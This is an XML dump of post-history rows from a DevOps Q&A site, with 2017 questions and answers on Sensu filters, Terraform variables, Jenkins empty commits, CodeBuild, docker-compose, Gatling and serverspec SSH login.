  <row Id="4381" PostHistoryTypeId="2" PostId="1333" RevisionGUID="43a1a430-0430-47c2-bc56-c48a7d0575da" CreationDate="2017-06-10T17:34:08.607" UserId="960" Text="You want to use [the `occurrences` filter](https://github.com/sensu-extensions/sensu-extensions-occurrences/), which is included by default in Sensu.&#xD;&#xA;&#xD;&#xA;First, apply the filter to your handlers:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;handlers&quot;: {&#xD;&#xA;        &quot;email&quot;: {&#xD;&#xA;          &quot;...&quot;: &quot;...&quot;,&#xD;&#xA;          &quot;filters&quot;: [&quot;occurrences&quot;]&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Then, in your check, you can use the `occurrences` attribute to only trigger the handler once the check fails or warns a certain number of times in a row:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;checks&quot;: {&#xD;&#xA;        &quot;check-http&quot;: {&#xD;&#xA;          &quot;...&quot;: &quot;...&quot;,&#xD;&#xA;          &quot;occurrences&quot;: 2&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }" ContentLicense="CC BY-SA 3.0" />
  <row Id="4382" PostHistoryTypeId="2" PostId="1334" RevisionGUID="e63adc01-65a5-404a-bd98-92f3482772cf" CreationDate="2017-06-11T02:47:58.453" UserId="739" Text="Having spent lots of time on github and various private corporate repos on gitlab and such there are certain things that make a huge difference in how good a repo seems to me:&#xD;&#xA;&#xD;&#xA;* Does the `README` clearly state what the software does?  Hopefully it also provides some code snippets, usage examples, and links to the preferred support forum.  Any build or runtime prerequisites should be clearly spelled out.  Are the primary authors clearly identified?&#xD;&#xA;* Are there releases?  If nobody has tagged a release it is easy to assume that the repo is still in early development and not ready for secondary consumption.&#xD;&#xA;* Is there a `LICENSE`?  If I don't know that I can legally use this software it makes it much harder to decide to invest the time into it.  On a private corporate server I would assume that everything is valid for internal use, but in some cases that might not work either.&#xD;&#xA;* Is there a link to a CI environment?  If the repo doesn't even show the minimal effort at providing tests and access to a CI environment that regularly runs those tests it is a strong vote against it.&#xD;&#xA;* Are the build instructions for a new contributor clear?  Some people may have this containerized, but the build instructions for doing it manually should be viable as well.&#xD;&#xA;* In a corporate environment I would expect that you could impose other restrictions semi-automatically.  Does the code fit the code formatting guidelines?  Are binaries excluded (a good idea if you have a central artifact repository for such things)?  I wouldn't set an arbitrary size limitation.  Some projects may just grow that large.  That's not great from an organizational perspective, but it is easy enough to implement technically.&#xD;&#xA;&#xD;&#xA;As for &quot;who&quot; does this I'd say it ends up being a combination of people.  To start you need buy-in from engineering management.  Then it could be a DevOps person or some random developer who implements it in a particular place." ContentLicense="CC BY-SA 3.0" />
  <row Id="4383" PostHistoryTypeId="2" PostId="1335" RevisionGUID="42884204-1dfd-458e-8186-958a93300c35" CreationDate="2017-06-11T14:33:16.280" UserId="3112" Text="I'm trying to design it so that all configurable parameters exist within variables.tf...the issue I'm running into currently is for provisioning EC2 instances. I'd like to be able to define the security group to use, but the input variable only accepts strings, so I wasn't able to reference the security group id.&#xD;&#xA;&#xD;&#xA;I moved on to trying this, which is looking up the resource id dynamically by inserting the name (look at security_groups_name and subnet_name:&#xD;&#xA;&#xD;&#xA;    variable &quot;ansible_ami&quot; { &#xD;&#xA;		type = 	&quot;map&quot;&#xD;&#xA;		default = {&#xD;&#xA;				name = &quot;ansible&quot;&#xD;&#xA;				ami = &quot;ami-4836a428&quot;&#xD;&#xA;				size = &quot;t2.micro&quot;&#xD;&#xA;				ebs_size = &quot;8&quot;&#xD;&#xA;				ebs_type = &quot;gp2&quot; #general purpose ssd&#xD;&#xA;				enable_public_ip = true&#xD;&#xA;				security_groups_name = &quot;JumpBox&quot;&#xD;&#xA;				subnet_name = &quot;pubnet1&quot;&#xD;&#xA;		}&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_instance&quot; &quot;ansible&quot; {&#xD;&#xA;        ami = &quot;${var.ansible_ami[&quot;ami&quot;]}&quot;&#xD;&#xA;        instance_type = &quot;${var.ansible_ami[&quot;size&quot;]}&quot;&#xD;&#xA;        security_groups = &quot;${aws_security_group.${var.ansible_ami[&quot;security_groups_name&quot;]}.id}&quot;&#xD;&#xA;        subnet_id = &quot;${aws_subnet.${var.ansible_ami[&quot;subnet_name&quot;]}.id}&quot;&#xD;&#xA;        associate_public_ip_address = &quot;${var.ansible_ami[&quot;enable_public_ip&quot;]}&quot;&#xD;&#xA;        #user_data = &quot;&quot;&#xD;&#xA;    &#xD;&#xA;        ebs_block_device {&#xD;&#xA;            device_name = &quot;/dev/sdb&quot;&#xD;&#xA;            volume_size = &quot;${var.ansible_ami[&quot;ebs_size&quot;]}&quot;&#xD;&#xA;            volume_type = &quot;${var.ansible_ami[&quot;ebs_type&quot;]}&quot;&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        tags {&#xD;&#xA;            Name = &quot;${var.ansible_ami[&quot;name&quot;]}&quot;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;However, that is not working either since i'm getting syntax errors from the lines where I'm trying to next variables. I'm looking for ideas or direction on how to accomplish this.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4384" PostHistoryTypeId="1" PostId="1335" RevisionGUID="42884204-1dfd-458e-8186-958a93300c35" CreationDate="2017-06-11T14:33:16.280" UserId="3112" Text="Terraform: How to use a variable inside of another variable?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4385" PostHistoryTypeId="3" PostId="1335" RevisionGUID="42884204-1dfd-458e-8186-958a93300c35" CreationDate="2017-06-11T14:33:16.280" UserId="3112" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4386" PostHistoryTypeId="5" PostId="1330" RevisionGUID="ea48a9d2-e6e4-42f5-a7b0-04cf645faefd" CreationDate="2017-06-12T01:17:17.290" UserId="2956" Comment="added 80 characters in body" Text="You should add export script (bash script which does exporting html files produced to the place they belong) after Cucumber Reports plugin step, as it should be used by job runned either solely or by pipeline." ContentLicense="CC BY-SA 3.0" />
  <row Id="4387" PostHistoryTypeId="5" PostId="1325" RevisionGUID="ca986a39-4039-42ff-9d1d-7bc8668c4356" CreationDate="2017-06-12T06:27:03.480" UserId="3087" Comment="added 574 characters in body" Text="I have been using one Jenkins job, that will pull repository from gitlab.&#xD;&#xA;Then it will modify the files and push it into gitlab (only if any user added any new files/modify contents in gitlab). Otherwise, it simply does empty commit.&#xD;&#xA;When empty commits &amp; push happens, Jenkins job shows me like the job is failed. For only this case, I want to make Jenkins should show as successful.&#xD;&#xA;Is there any way to do it?&#xD;&#xA;&#xD;&#xA;**UPDATE:** Here is the log I got from the job. I am expecting SUCCESS even if the Jenkins git pushes the empty repository (as shown as the below).&#xD;&#xA;&#xD;&#xA;    [1. Extract simplified configuration] $ /bin/sh -xe &#xD;&#xA;    /tmp/jenkins2112147489595430303.sh&#xD;&#xA;    + chmod +x script.sh&#xD;&#xA;    + ./script.sh&#xD;&#xA;    + git add .&#xD;&#xA;    + git commit -a -m 'Changes pushed by Jenkins'&#xD;&#xA;    HEAD detached at ee35229&#xD;&#xA;    nothing to commit, working directory clean&#xD;&#xA;    Build step 'Execute shell' marked build as failure&#xD;&#xA;    Triggering a new build of 2. Erase Answers&#xD;&#xA;    Finished: FAILURE&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4388" PostHistoryTypeId="2" PostId="1336" RevisionGUID="ee7a5ce4-acc0-4e98-ac56-95a06ef603ba" CreationDate="2017-06-12T11:20:27.507" UserId="3119" Text="I have ***java spring web service project on EC2*** &#xD;&#xA;&#xD;&#xA;I tried writing a `buildspec.yml` for it. However the AWS CodeBuild service is not giving successful results. In the install phase itself, it tells `apt-get` and `yum` command not found. The problem is that both *yum* and *apt-get* are not being detected. However the exemplary file in the docs is using 'apt-get' to in the install phase. How can I make it work?&#xD;&#xA;[![This is my buildspec file.][1]][1]&#xD;&#xA;&#xD;&#xA;I am not able to figure it out.. why does it fail for both `yum` and `apt-get`.&#xD;&#xA;&#xD;&#xA;[![These are the logs of the build][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/FoLky.jpg&#xD;&#xA;  [2]: https://i.stack.imgur.com/O4jY0.jpg" ContentLicense="CC BY-SA 3.0" />
  <row Id="4389" PostHistoryTypeId="1" PostId="1336" RevisionGUID="ee7a5ce4-acc0-4e98-ac56-95a06ef603ba" CreationDate="2017-06-12T11:20:27.507" UserId="3119" Text="How do I write a buildspec.yml File?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4390" PostHistoryTypeId="3" PostId="1336" RevisionGUID="ee7a5ce4-acc0-4e98-ac56-95a06ef603ba" CreationDate="2017-06-12T11:20:27.507" UserId="3119" Text="&lt;amazon-web-services&gt;&lt;spring-boot&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4391" PostHistoryTypeId="2" PostId="1337" RevisionGUID="d0f9b41d-3090-48f9-a848-5fff3c397197" CreationDate="2017-06-12T17:24:34.247" UserId="3001" Text="In order to get a success, you need to avoid non-zero exit codes. A simple solution would be to change the last line of your script to `git commit -a -m 'Changes pushed by Jenkins' | true`, but better solutions would parse the output of git-add and only run git-commit when there is something to commit." ContentLicense="CC BY-SA 3.0" />
  <row Id="4401" PostHistoryTypeId="2" PostId="1341" RevisionGUID="9da2d21c-0cfa-4d88-830c-a040f38417ac" CreationDate="2017-06-13T16:54:44.800" UserId="362" Text="Working off what @chupasaurus said, here's what I came up with:&#xD;&#xA;&#xD;&#xA;    node('master') {&#xD;&#xA;        dir(&quot;../builds/${BUILD_NUMBER}/&quot;) {&#xD;&#xA;            sh &quot;cp -r cucumber-html-reports $WORKSPACE&quot;&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        archive &quot;cucumber-html-reports/*&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Obviously all this does is archive the report for that build, but you can easily extend this to copy it somewhere else where it can be hosted or manipulated. Just make sure you put this after the Cucumber Reports plugin step." ContentLicense="CC BY-SA 3.0" />
  <row Id="4402" PostHistoryTypeId="2" PostId="1342" RevisionGUID="792cc047-8293-4371-b0f8-d8572856b975" CreationDate="2017-06-14T08:45:14.623" UserId="13" Text="Largely inspired by the [documentation](https://www.terraform.io/docs/providers/aws/d/security_group.html) the idea is to create a terraform datasource from a filter of the available resources and then use this as entry point in your ami resource:&#xD;&#xA;&#xD;&#xA;    variable &quot;security_group_id&quot; {}&#xD;&#xA;    variable &quot;subnet_id&quot; {}&#xD;&#xA;    &#xD;&#xA;    data &quot;aws_security_group&quot; &quot;selected&quot; {&#xD;&#xA;      name = &quot;${var.ansible_ami[&quot;security_groups_name&quot;]}}&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    data &quot;aws_subnet&quot; &quot;selected&quot; {&#xD;&#xA;      name = &quot;${var.ansible_ami[&quot;subnet_name&quot;]}&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_instance&quot; &quot;ansible&quot; {&#xD;&#xA;        ami = &quot;${var.ansible_ami[&quot;ami&quot;]}&quot;&#xD;&#xA;        instance_type = &quot;${var.ansible_ami[&quot;size&quot;]}&quot;&#xD;&#xA;        security_groups = &quot;${data.aws_security_group.selected.id}&quot;&#xD;&#xA;        subnet_id = &quot;${data.aws_subnet.selected.id}&quot;&#xD;&#xA;        associate_public_ip_address = &quot;${var.ansible_ami[&quot;enable_public_ip&quot;]}&quot;&#xD;&#xA;        #user_data = &quot;&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm not using terraform myself, so this could be plain wrong." ContentLicense="CC BY-SA 3.0" />
  <row Id="4403" PostHistoryTypeId="5" PostId="1334" RevisionGUID="2e98e528-4589-4b99-8a45-43cbc955b030" CreationDate="2017-06-14T13:40:26.917" UserId="13" Comment="Small adjustment as I didn't found the sentence clear, feel free to rollback if I got it wrong" Text="Having spent lots of time on github and various private corporate repos on gitlab and such there are certain things that make a huge difference in how good a repo seems to me:&#xD;&#xA;&#xD;&#xA;* Does the `README` clearly state what the software does?  Hopefully it also provides some code snippets, usage examples, and links to the preferred support forum.  Any build or runtime prerequisites should be clearly spelled out.  Are the primary authors clearly identified?&#xD;&#xA;* Are there releases?  If nobody has tagged a release it is easy to assume that the repo is still in early development and not ready for secondary consumption.&#xD;&#xA;* Is there a `LICENSE`?  If I don't know that I can _not_ legally use this software and it makes it much harder to decide to invest the time into it.  On a private corporate server I would assume that everything is valid for internal use, but in some cases that might not work either.&#xD;&#xA;* Is there a link to a CI environment?  If the repository doesn't even show the minimal effort at providing tests and access to a CI environment that regularly runs those tests it is a strong vote against it.&#xD;&#xA;* Are the build instructions for a new contributor clear?  Some people may have this containerized, but the build instructions for doing it manually should be viable as well.&#xD;&#xA;* In a corporate environment I would expect that you could impose other restrictions semi-automatically.  Does the code fit the code formatting guidelines?  Are binaries excluded (a good idea if you have a central artifact repository for such things)?  I wouldn't set an arbitrary size limitation.  Some projects may just grow that large.  That's not great from an organizational perspective, but it is easy enough to implement technically.&#xD;&#xA;&#xD;&#xA;As for &quot;who&quot; does this I'd say it ends up being a combination of people.  To start you need buy-in from engineering management.  Then it could be a DevOps person or some random developer who implements it in a particular place." ContentLicense="CC BY-SA 3.0" />
  <row Id="4405" PostHistoryTypeId="2" PostId="1343" RevisionGUID="44c807d1-0d94-42d3-9ffa-2997c4a8a298" CreationDate="2017-06-15T07:24:54.830" UserId="210" Text="When one runs `docker-compose up --build` then the docker images are created sequential. Is it possible to build these images concurrently using docker-compose?&#xD;&#xA;&#xD;&#xA;There are multiple issues including [this][1], but it is unclear whether it is possible or not.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/docker/compose/issues/1652" ContentLicense="CC BY-SA 3.0" />
  <row Id="4406" PostHistoryTypeId="1" PostId="1343" RevisionGUID="44c807d1-0d94-42d3-9ffa-2997c4a8a298" CreationDate="2017-06-15T07:24:54.830" UserId="210" Text="Is it possible to build docker images using docker-compose concurrently?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4407" PostHistoryTypeId="3" PostId="1343" RevisionGUID="44c807d1-0d94-42d3-9ffa-2997c4a8a298" CreationDate="2017-06-15T07:24:54.830" UserId="210" Text="&lt;docker-compose&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4408" PostHistoryTypeId="2" PostId="1344" RevisionGUID="b3605779-4c9e-429d-b0cf-9033d124738b" CreationDate="2017-06-15T07:36:07.933" UserId="565" Text="I would like to understand the difference between package and artifact.&#xD;&#xA;&#xD;&#xA;Also In what context we should use these terms." ContentLicense="CC BY-SA 3.0" />
  <row Id="4409" PostHistoryTypeId="1" PostId="1344" RevisionGUID="b3605779-4c9e-429d-b0cf-9033d124738b" CreationDate="2017-06-15T07:36:07.933" UserId="565" Text="What is the difference between packages and artifacts?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4410" PostHistoryTypeId="3" PostId="1344" RevisionGUID="b3605779-4c9e-429d-b0cf-9033d124738b" CreationDate="2017-06-15T07:36:07.933" UserId="565" Text="&lt;deployment&gt;&lt;release-management&gt;&lt;release&gt;&lt;artifacts&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4411" PostHistoryTypeId="2" PostId="1345" RevisionGUID="219af87d-1255-48c5-8a46-21adc970f0e2" CreationDate="2017-06-15T08:02:19.420" UserId="13" Text="Mainly an [artifact is the result of of a build phase](https://devops.stackexchange.com/questions/466/what-is-an-artifact-or-artefact?rq=1), this mean a package is an artifact of a kind.&#xD;&#xA;&#xD;&#xA;A package is usually a way to install a software or application, it includes the software itself and some intelligence to setup and configure the software.&#xD;&#xA;&#xD;&#xA;Calling an artifact a package usually comes when the artifact (whatever it is, from a .deb to a simple zip file) contain more than just the application, it could be a simple script to help configuring the software and setting proper permissions or other softwares needed." ContentLicense="CC BY-SA 3.0" />
  <row Id="4412" PostHistoryTypeId="2" PostId="1346" RevisionGUID="7fd487c5-2dc5-43a3-896f-4c405e287e7c" CreationDate="2017-06-15T08:33:58.530" UserId="210" Text="Gatling can record websites, but when these are encrypted then one could define the following:&#xD;&#xA;&#xD;&#xA;HTTPS mode:&#xD;&#xA;&#xD;&#xA; - self-signed certificate&#xD;&#xA; - provided keystore&#xD;&#xA;   - keystore file&#xD;&#xA;   - keystore pasword&#xD;&#xA;   - keystore type&#xD;&#xA; - certificate authority&#xD;&#xA;   - ca certificate&#xD;&#xA;   - ca private key&#xD;&#xA;&#xD;&#xA;How to record websites that are encrypted using Certbot?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4413" PostHistoryTypeId="1" PostId="1346" RevisionGUID="7fd487c5-2dc5-43a3-896f-4c405e287e7c" CreationDate="2017-06-15T08:33:58.530" UserId="210" Text="How to performance test websites using Gatling that are encrypted using Certbot?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4414" PostHistoryTypeId="3" PostId="1346" RevisionGUID="7fd487c5-2dc5-43a3-896f-4c405e287e7c" CreationDate="2017-06-15T08:33:58.530" UserId="210" Text="&lt;gatling&gt;&lt;certbot&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4415" PostHistoryTypeId="5" PostId="1275" RevisionGUID="cb5de6bf-a6fe-4698-a76f-99c278df6895" CreationDate="2017-06-15T08:34:55.070" UserId="210" Comment="deleted 4 characters in body; edited tags" Text="[The Ansible module index][1] has been consulted, but no module was found that checks whether a port is available? Is there a module that supports this?&#xD;&#xA;&#xD;&#xA;**What does `available` mean?**&#xD;&#xA;&#xD;&#xA;Available means that a port, e.g. `80` is not in LISTEN state. The following indicates that port 111 is unavailable.&#xD;&#xA;&#xD;&#xA;    user@localhost ~ $ ss -nat&#xD;&#xA;    State      Recv-Q Send-Q Local Address:Port    Peer Address:Port              &#xD;&#xA;    LISTEN     0      128       *:111                   *:*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**What is the aim of this question?**&#xD;&#xA;&#xD;&#xA;The aim of this question is to find a way to stop an Ansible run when port 80 is already allocated by another process than certbot. Certbot requires port 80 to be available, otherwise the cert cannot be renewed. The issue can be found [here][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.ansible.com/ansible/list_of_all_modules.html&#xD;&#xA;  [2]: https://github.com/030/ansible-certbot/issues/15" ContentLicense="CC BY-SA 3.0" />
  <row Id="4416" PostHistoryTypeId="6" PostId="1275" RevisionGUID="cb5de6bf-a6fe-4698-a76f-99c278df6895" CreationDate="2017-06-15T08:34:55.070" UserId="210" Comment="deleted 4 characters in body; edited tags" Text="&lt;ansible&gt;&lt;certbot&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4417" PostHistoryTypeId="2" PostId="1347" RevisionGUID="8550299e-0554-4570-97ed-a988ba738012" CreationDate="2017-06-15T08:44:40.323" UserId="3142" Text="Also, the term &quot;artifact package&quot; refers to a logical package that can assemble artifacts created in a single build as well as multiple builds." ContentLicense="CC BY-SA 3.0" />
  <row Id="4418" PostHistoryTypeId="5" PostId="1346" RevisionGUID="6b7e05bf-7505-4790-b77c-ee5280416b04" CreationDate="2017-06-15T08:46:57.887" UserId="210" Comment="added 136 characters in body" Text="Gatling can record websites, but when these are encrypted then one could define the following:&#xD;&#xA;&#xD;&#xA;HTTPS mode:&#xD;&#xA;&#xD;&#xA; - self-signed certificate&#xD;&#xA; - provided keystore&#xD;&#xA;   - keystore file&#xD;&#xA;   - keystore pasword&#xD;&#xA;   - keystore type&#xD;&#xA; - certificate authority&#xD;&#xA;   - ca certificate&#xD;&#xA;   - ca private key&#xD;&#xA;&#xD;&#xA;How to record websites that are encrypted using Certbot?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[This topic][1] has been created in the Google user group.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://groups.google.com/forum/#!topic/gatling/VI0MkEJGIj8" ContentLicense="CC BY-SA 3.0" />
  <row Id="4419" PostHistoryTypeId="2" PostId="1348" RevisionGUID="87ada11f-7a0c-4803-b2fa-fc558bdf6e2c" CreationDate="2017-06-15T09:38:05.793" UserId="210" Text="[The serverspec doc][1] indicates that it is possible to login using ssh and serverspec:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;     require 'highline/import'&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     if ENV['ASK_LOGIN_PASSWORD']&#xD;&#xA;&gt;       options[:password] = ask(&quot;\nEnter login password: &quot;) { |q| q.echo = false }&#xD;&#xA;&gt;     else&#xD;&#xA;&gt;       options[:password] = ENV['LOGIN_PASSWORD']&#xD;&#xA;&gt;     end&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     set :ssh_options, options&#xD;&#xA;&#xD;&#xA;How to login using an ssh key?&#xD;&#xA;&#xD;&#xA;  [1]: http://serverspec.org/advanced_tips.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="4420" PostHistoryTypeId="1" PostId="1348" RevisionGUID="87ada11f-7a0c-4803-b2fa-fc558bdf6e2c" CreationDate="2017-06-15T09:38:05.793" UserId="210" Text="How to login using serverspec using ssh key?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4421" PostHistoryTypeId="3" PostId="1348" RevisionGUID="87ada11f-7a0c-4803-b2fa-fc558bdf6e2c" CreationDate="2017-06-15T09:38:05.793" UserId="210" Text="&lt;serverspec&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4422" PostHistoryTypeId="2" PostId="1349" RevisionGUID="e77a46aa-bf41-41eb-9e88-944c4d042243" CreationDate="2017-06-15T10:03:40.583" UserId="210" Text="serverspec is using [this Ruby class][1] to ssh to servers&#xD;&#xA;&#xD;&#xA;One should set the path to the key into the ~/.ssh/config file:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Host X&#xD;&#xA;        HostName X&#xD;&#xA;        User Y&#xD;&#xA;        PreferredAuthentications publickey&#xD;&#xA;        IdentityFile ~/.ssh/Z&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now `rake spec` runs the test on the server.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://net-ssh.github.io/ssh/v2/api/classes/Net/SSH/Config.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="4426" PostHistoryTypeId="2" PostId="1351" RevisionGUID="df86774a-2019-4369-8af1-6f85ef6c34aa" CreationDate="2017-06-15T10:51:29.780" UserId="3144" Text="In reply to 'Would Amazon EC2 / Google / Azure be cheaper than having dedicated servers?'&#xD;&#xA;&#xD;&#xA;I've done a lot of investigating into this and in every case they are NOT. &#xD;&#xA;&#xD;&#xA;80 Linux servers running 24h/365 - annual cost:&#xD;&#xA;	    Total cost per year&#xD;&#xA;Google	£37,515.46&#xD;&#xA;AWS	    £29,196.53&#xD;&#xA;&#xD;&#xA;These costs do NOT include data transfer.&#xD;&#xA;&#xD;&#xA;You can buy a dedicated cloud appliance for less than £50k, fully supported, that will run more servers and last you 3 years (min).  " ContentLicense="CC BY-SA 3.0" />
  <row Id="4431" PostHistoryTypeId="2" PostId="1353" RevisionGUID="cc9421f2-b45f-4905-a2ac-91b745f6052f" CreationDate="2017-06-15T12:45:57.417" UserId="3147" Text="I had already bunch of playbooks, so I started to organize them in _playbooks_ dir. It cause there must be relative paths to vars files.&#xD;&#xA;&#xD;&#xA;**Actual playbook:**&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - hosts:  aws_instance.jenkins-agents&#xD;&#xA;      user:   ec2-user&#xD;&#xA;      vars_files:&#xD;&#xA;        - ../../../vars/main.yaml&#xD;&#xA;        - ../../../vars/vault.yaml&#xD;&#xA;      ...&#xD;&#xA;&#xD;&#xA;Is there any way to keep the dir structure, but avoid the lochness family (`../../../`)?&#xD;&#xA;&#xD;&#xA;I know for roles You can specify path to them, but I did not find anything similar for _vars\_files_&#xD;&#xA;&#xD;&#xA;**Project conditions:**&#xD;&#xA;&#xD;&#xA;0. We need to run the playbooks from the root of the project&#xD;&#xA;0. Both _vars_ and _playbooks_ dir are in root of the project&#xD;&#xA;0. This project doesn't have static inventory/hosts, but it is generated on the fly when You run some playbook&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4432" PostHistoryTypeId="1" PostId="1353" RevisionGUID="cc9421f2-b45f-4905-a2ac-91b745f6052f" CreationDate="2017-06-15T12:45:57.417" UserId="3147" Text="Playbook without relative path to vars" ContentLicense="CC BY-SA 3.0" />
  <row Id="4433" PostHistoryTypeId="3" PostId="1353" RevisionGUID="cc9421f2-b45f-4905-a2ac-91b745f6052f" CreationDate="2017-06-15T12:45:57.417" UserId="3147" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4434" PostHistoryTypeId="5" PostId="1342" RevisionGUID="b0a7d0bb-8352-4079-b2c6-d4b7ca4a8748" CreationDate="2017-06-15T14:32:29.783" UserId="13" Comment="add the filter block around name selector" Text="Largely inspired by the [documentation](https://www.terraform.io/docs/providers/aws/d/security_group.html) the idea is to create a terraform datasource from a filter of the available resources and then use this as entry point in your ami resource:&#xD;&#xA;&#xD;&#xA;    variable &quot;security_group_id&quot; {}&#xD;&#xA;    variable &quot;subnet_id&quot; {}&#xD;&#xA;    &#xD;&#xA;    data &quot;aws_security_group&quot; &quot;selected&quot; {&#xD;&#xA;      filter {&#xD;&#xA;        name = &quot;${var.ansible_ami[&quot;security_groups_name&quot;]}}&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    data &quot;aws_subnet&quot; &quot;selected&quot; {&#xD;&#xA;      filter {&#xD;&#xA;        name = &quot;${var.ansible_ami[&quot;subnet_name&quot;]}&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_instance&quot; &quot;ansible&quot; {&#xD;&#xA;        ami = &quot;${var.ansible_ami[&quot;ami&quot;]}&quot;&#xD;&#xA;        instance_type = &quot;${var.ansible_ami[&quot;size&quot;]}&quot;&#xD;&#xA;        security_groups = &quot;${data.aws_security_group.selected.id}&quot;&#xD;&#xA;        subnet_id = &quot;${data.aws_subnet.selected.id}&quot;&#xD;&#xA;        associate_public_ip_address = &quot;${var.ansible_ami[&quot;enable_public_ip&quot;]}&quot;&#xD;&#xA;        #user_data = &quot;&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm not using terraform myself, so this could be plain wrong." ContentLicense="CC BY-SA 3.0" />
  <row Id="4435" PostHistoryTypeId="6" PostId="1344" RevisionGUID="1367a92c-e6d9-4e08-9998-adb58f3b5999" CreationDate="2017-06-15T14:43:40.423" UserId="47" Comment="added relevant tag" Text="&lt;terminology&gt;&lt;deployment&gt;&lt;release-management&gt;&lt;release&gt;&lt;artifacts&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4436" PostHistoryTypeId="2" PostId="1354" RevisionGUID="9e91b2dd-5237-4e00-b040-89cbbc6b6e2d" CreationDate="2017-06-15T16:17:11.610" UserId="210" Text="If it is possible to switch https to http temporarly then gatling can record the clicks. When the recording was done, https was activated again and the test could be run against https as well. In summary, recording works if the site is http and running it works against https. Note that the recorder file contains http and this need to be changed to https." ContentLicense="CC BY-SA 3.0" />
  <row Id="4437" PostHistoryTypeId="5" PostId="1346" RevisionGUID="6dbfa279-ec42-4069-ba7e-20e69a70e960" CreationDate="2017-06-15T16:21:34.070" UserId="210" Comment="added 455 characters in body" Text="**Aim** &#xD;&#xA;&#xD;&#xA;to performance test a UI&#xD;&#xA;&#xD;&#xA;**Method**&#xD;&#xA;&#xD;&#xA; - Run [Gatling][1] recorder&#xD;&#xA; - Once the gatling recorder proxy has been started, configure this proxy in the webbrowser that will be used for the test&#xD;&#xA; - Login to the UI&#xD;&#xA; - Navigate to the website&#xD;&#xA; - Save the recording&#xD;&#xA;&#xD;&#xA;**Results**&#xD;&#xA;&#xD;&#xA;When a http site is recorded, then it is recorded, but when an https site then gatling records nothing&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Gatling can record websites, but when these are encrypted then one could define the following:&#xD;&#xA;&#xD;&#xA;HTTPS mode:&#xD;&#xA;&#xD;&#xA; - self-signed certificate&#xD;&#xA; - provided keystore&#xD;&#xA;   - keystore file&#xD;&#xA;   - keystore pasword&#xD;&#xA;   - keystore type&#xD;&#xA; - certificate authority&#xD;&#xA;   - ca certificate&#xD;&#xA;   - ca private key&#xD;&#xA;&#xD;&#xA;How to record websites that are encrypted using Certbot?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[This topic][2] has been created in the Google user group.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://gatling.io/&#xD;&#xA;  [2]: https://groups.google.com/forum/#!topic/gatling/VI0MkEJGIj8" ContentLicense="CC BY-SA 3.0" />
